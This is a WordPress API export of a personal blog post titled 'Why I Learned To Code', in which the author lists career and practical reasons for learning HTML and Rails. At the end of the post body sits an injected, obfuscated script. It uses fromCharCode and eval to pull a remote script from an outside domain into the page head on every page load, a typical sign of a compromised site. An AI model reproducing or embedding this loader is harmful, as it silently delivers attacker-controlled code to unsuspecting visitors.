{"id":5586,"date":"2023-06-09T10:56:42","date_gmt":"2023-06-09T10:56:42","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/why-i-learned-to-code\/"},"modified":"2023-06-09T10:56:42","modified_gmt":"2023-06-09T10:56:42","slug":"why-i-learned-to-code","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/why-i-learned-to-code\/","title":{"rendered":"Why I Learned To Code"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/why-i-learned-to-code\/#1_Get_Comfortable_With_Code\" title=\"1. Get Comfortable With Code\">1. Get Comfortable With Code<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/why-i-learned-to-code\/#2_Build_Your_Own_Websites\" title=\"2. Build Your Own Websites\">2. Build Your Own Websites<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/why-i-learned-to-code\/#3_Open_Up_New_Career_Opportunities\" title=\"3. Open Up New Career Opportunities\">3. Open Up New Career Opportunities<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/why-i-learned-to-code\/#4_Bring_Your_Ideas_To_Life\" title=\"4. Bring Your Ideas To Life\">4. Bring Your Ideas To Life<\/a><\/li><\/ul><\/nav><\/div>\n<p><img class=&quot;aligncenter size-full wp-image-831&quot; src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2014\/08\/Screen-Shot-2014-08-08-at-13.08.13.png&quot; alt=&quot;Why I Learned To Code&quot; width=&quot;1167&quot; height=&quot;600&quot; \/><\/p>\n<p>There&#8217;s plenty of posts out there on &quot;How To Learn To Code\u00a0in Just One Month!&quot;, but not a lot for\u00a0<em>why\u00a0<\/em>you should learn to code.<\/p>\n<p>One of the problems is that you get articles like this, \u00a0with the following unhelpful insights into how others have learnt\u00a0to code:<\/p>\n<blockquote><p><em><span style=&quot;color: #000000;&quot;>&quot;I slept an average of 5\u00a0hours a night, had enough energy drinks to last me a lifetime and never felt more confused or exhausted in my life. Thus, this was the life of a beginner coder, a venture that took up most of my day.&quot;<\/span><\/em><\/p><\/blockquote>\n<p><em>(Aside: How long before we see a post called &quot;This Squirrel Learned to Code in Just One Month &#8211; You&#8217;ll Never Guess What He Built Next&quot;?)<\/em><\/p>\n<p>&quot;Learning to Code&quot; is not a one-size-fits-all affair. You don&#8217;t have to pull all nighters, down energy drinks just to stay awake and feel like that will be your life from then on. It doesn&#8217;t even have to take up most of your day.<\/p>\n<p>Coding can be as small as\u00a0making minor\u00a0html changes, all the way up to building best-in-class apps using the latest technology.<\/p>\n<p>You might want to build the latest and greatest apps, but there are plenty of smaller reasons for want to learn to code:<\/p>\n<ul>\n<li>You might just want to learn how to host your own blog and a custom domain, like I&#8217;ve done here.<\/li>\n<li>You could just want\u00a0learn how to strip out the formatting errors that come with copying and pasting a document from\u00a0Microsoft\u00a0Word into a WordPress post.<\/li>\n<li>You might\u00a0want to be able to format a nice looking email newsletter in Mailchimp.<\/li>\n<li>You could want to make small changes to your company website, without having to get support or ask someone else to do it.<\/li>\n<\/ul>\n<p>Here&#8217;s my own personal\u00a0reasons for learning to code.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"1_Get_Comfortable_With_Code\"><\/span><strong>1. Get Comfortable With Code<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Lots of the examples listed above are small tasks. You&#8217;d only need to know a little bit of html to be able to make small code changes.<\/p>\n<p>As someone who works in digital marketing, I&#8217;m working with blog posts, email newsletters, Content Management Systems and other digital forms on a daily basis. When I see something wrong or want to make a quick edit to something, I don&#8217;t have to send the work off to someone else and wait for\u00a0them to make the necessary changes. I can do it myself.<\/p>\n<p>Likewise, if someone sends me something they&#8217;d like me to do or feedbacks changes to a piece of content, I&#8217;m able to make those amends there and then. No more being scared of being asked to do something in code!<\/p>\n<h2><span class=\"ez-toc-section\" id=\"2_Build_Your_Own_Websites\"><\/span><strong>2. Build Your Own Websites<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>When I was running\u00a0Bright One, we worked with a web development agency to build the\u00a0organisation&#8217;s\u00a0website and also what became\u00a0Bright Works, a microvolunteering platform.<\/p>\n<p>The agency did a great job and we were happy with the results, but we did spend quite a bit of budget\u00a0on them, \u00a0funds that could have been used elsewhere &#8211; especially as we were a voluntary organisation.<\/p>\n<p>Looking back, it frustrates me that we couldn&#8217;t build the websites ourselves or even find a volunteer to build is a \u00a0basic WordPress-with-theme site. We may not have had a slick looking a site, but it would have served its purpose and we&#8217; would have been able to grow in other areas.<\/p>\n<p>In between then and now, I&#8217;ve learnt to code. Well, enough that I can buy a domain name, setup hosting for it, install WordPress, add a WordPress theme and amend that WordPress theme to look how I want it to. This is what I&#8217;ve done with the Montfort website.<\/p>\n<p>Sure, it&#8217;s an easy form of &quot;coding&quot;, where most of the heavy lifting is done by the Content Management System (WordPress in this case), but it&#8217;s saved me time and money.<\/p>\n<p>I can also repeat the process and help others set up their own WordPress sites,\u00a0which is not to be sniffed at.<\/p>\n<h2><span class=\"ez-toc-section\" id=\"3_Open_Up_New_Career_Opportunities\"><\/span><strong>3<\/strong><strong>. Open Up New Career Opportunities<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>I stepped up with my code learning by taking Michael Hartl&#8217;s much loved and referenced Rails Tutorial. It&#8217;s a free online tutorial to help you learn Ruby on Rails, a web framework that many modern website use and gives you the ability to create Facebook and Twitter-esque sites and apps.<\/p>\n<p>Hartl has created a fantastic tutorial that is mentioned as the place to start when learning Rails, so I went through that tutorial a few times. Once finished, I added to the basics by working my way through Railscasts and other online tutorials, so now I had\u00a0a basic understanding of Ruby and Rails.<\/p>\n<p>At the beginning of this year, an opportunity came up at FutureGov to product manage one of their new prototypes. Dom knew that I&#8217;d been learning to code, so asked me if I&#8217;d like to give the position a go.<\/p>\n<p>Being a Product Manager was a great way to test how far I&#8217;d come, working at the intersection of the project managers and clients, who wanted something built, with the rails development team, who were building the prototype.<\/p>\n<p>My coding experience came in useful here, being able to translate ideas, issues and challenges between the two teams and understand where each team was coming from.<\/p>\n<p>It was a great experience, working on a live project with a real team and real objectives, and the project is still live today.<\/p>\n<p>Since then, I&#8217;ve also volunteered with Sunday Assembly to help product manage their new digital platform. It&#8217;s taken me all the way to San Francisco and back, \u00a0plus I&#8217;ve met a whole load of great people along the way.<\/p>\n<p>So learning to code has opened up several\u00a0career opportunities already. Who knows what other opportunities will come up\u00a0in the future?<\/p>\n<h2><span class=\"ez-toc-section\" id=\"4_Bring_Your_Ideas_To_Life\"><\/span><strong>4. Bring Your Ideas To Life<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>This has been a bigger step up. Taking the ideas I have in my head, writing them down on code, then putting them live on the internet.<\/p>\n<p>I&#8217;ve had some starter projects that have helped me learn new areas of code, but I haven&#8217;t yet released any of them as a &#8216;formal&#8217; project.<\/p>\n<p>Communities Finder is the current prototype I&#8217;m building. Terrible name, terrible code, terrible design, but it&#8217;s there, it&#8217;s live and I made it.<\/p>\n<p>I&#8217;m not even saying it&#8217;s a good idea, but it&#8217;s an idea I&#8217;ve brought to life, without having to pay thousands to an agency or freelancer to build it for me.<\/p>\n<p>What ideas do you have that you want to bring to life, but haven&#8217;t been able to?<\/p>\n<p>I think more and more that those people who do want to bring a (digital) idea of theirs to life will go ahead and learn to code, even at a basic level, so they can understand how that project is built.<\/p>\n<p>There are plenty of free and cheap courses out there (Code School, Codecademy, Treehouse) and I hope I&#8217;ve given you a few reasons for you to start learning to code yourself.<\/p>\n<p>And would be great to hear about your reasons for learning to code too!<\/p>\n<p>&nbsp;<\/p>\n<p><strong><em>Enjoy this post? Sign up for my free newsletter to get the newest articles delivered straight to your inbox:<\/em><\/strong><\/p>\n<p>[mc4wp_form]<\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>There&#8217;s plenty of posts out there on &quot;How To Learn To Code\u00a0in Just One Month!&quot;, but not a lot for\u00a0why\u00a0you should learn to code. One of the problems is that you get articles like this, \u00a0with the following unhelpful insights into how others have learnt\u00a0to code: &quot;I slept an average of 5\u00a0hours a night, had [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-5586","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5586"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=5586"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/5586\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=5586"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=5586"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=5586"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}